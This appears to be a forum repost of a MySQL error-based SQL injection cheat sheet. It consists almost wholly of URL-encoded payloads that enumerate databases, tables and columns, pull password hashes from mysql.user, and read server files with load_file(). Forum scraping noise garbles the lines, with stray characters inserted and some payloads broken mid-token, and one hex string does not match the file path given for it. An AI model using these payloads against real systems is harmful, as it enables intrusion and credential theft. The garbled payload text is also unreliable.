找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2198|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 - t: M  M+ o* K: b' I" k
/ i+ U4 @. a, p9 z
$ z" U$ R7 [: V# I6 T
Mysql暴错注入参考(pdf),每天一贴。。。
  K: a& g" s+ o
, T) e8 N* V. m  i6 Z0 a* |- PMySql Error Based Injection Reference
$ Q9 K5 z+ P+ c. L. m- D[Mysql暴错注入参考]1 X5 Q# J8 [# W5 ~3 I
Authornig0s1992
" e9 o" M6 Y# O6 F. z6 w! nBlog:http://pnig0s1992.blog.51cto.com/4 ?8 q" g8 w/ x3 I/ l# a9 I
TeAm:http://www.FreeBuf.com/
. c4 L/ b5 F+ O5 lMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
3 d7 }7 ~' E- e. B: p小部分版本使用name_const()时会报错.可以用给出的Method.2测试
1 p/ a& }" t7 t4 r! i3 O* j查询版本:! _$ u* W( t- W2 t1 N
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+) q1 Q# m2 q3 M' K( C& r2 J
join+(select+name_const(@@version,0))b)c)
% o3 V" M* e0 s2 e0 n' z9 x5 U& YMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro* f, n" {" s# ~# U
up by a)b)
# [$ h3 f; K! {$ j1 Z& k- G查询当前用户:! V, Q, ~# ]: N* p
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
( u$ ?! @1 D. F3 q' kMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
; l' @; K2 v2 m% zand(0)*2))x+from+information_schema.tables+group+by+x)a)
7 u8 i, m: U+ b9 U5 `查询当前数据库:
6 N  ?! m7 D+ h: wMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)# {- z9 x, {8 w* _4 v+ V
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
- X" ?; V8 R& d6 z: u) por(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
9 p7 ]: }, a- F* w0 R- ~; C, l% o依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
2 n4 i7 s7 z) `  \" W' eLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n' Y/ I" W5 x! ?9 _; x
顺序替换; b6 G4 r5 M: f& ^/ D. s" b+ H8 d
爆指定库数目:
& a" g( Q* e4 s" m8 yand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
- e3 T$ X9 P/ ?able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
6 F' A1 B# Y" \& J. ^+by+x)a)+and+1=1 0x6D7973716C=mysql
% z3 q! a* s2 b4 g$ t9 P& y* C依次爆表:
, V% V; \6 x, {9 @$ L& vand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t! T9 ]8 y3 |% k4 s: q
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
- R' A% H. W9 H+ Gbles+group+by+x)a)+and+1=1' z9 k1 k) P( w/ h' P9 \% H  s
0x6D7973716C=Mysql 将n顺序替换
: A3 t0 `1 P% J) t4 d爆表内字段数目:
0 P* T% [5 ]" V$ Y5 `7 ]5 y. `" R' Iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE2 _. O4 I1 z' W1 o% F  x2 \
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran) M: Y0 l) Y$ x9 t, P$ g2 Q& l
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1* U" e/ v! E4 K* U: C
依次爆字段:
; ^# ]2 t5 @1 M% z/ A4 Z  L. uand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where- q$ B0 q$ I6 T5 j6 C
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,15 t0 a7 c3 L7 ?& V3 V  U" w
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换% W, a$ j3 r: H; [2 X
依次暴内容:
1 U( q% r+ y2 U5 d# w! q; E9 @0 K2 n2 Oand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
( \5 G, w5 U& `& f( \/ A2 ~- R& b' ama.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
/ w" i. B& h; W! F' b! j: ^9 l将n顺序替换
' }' u" ]4 w9 a- m" C/ U# b爆文件内容:5 S3 y/ `8 v& ]( ?% C% r7 `3 g+ x; c
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
' v8 W! |5 n; mfrom+information_schema.tables+group+by+a)b) $ O' p+ W2 o& f) s
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节8 W9 P; W0 W/ ?% {+ T2 z
Thx for reading.
1 y# y" k" j7 C4 U
4 m& ?. P& t+ F, t不要下载也可以, % e. H. V7 p- y. J# q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表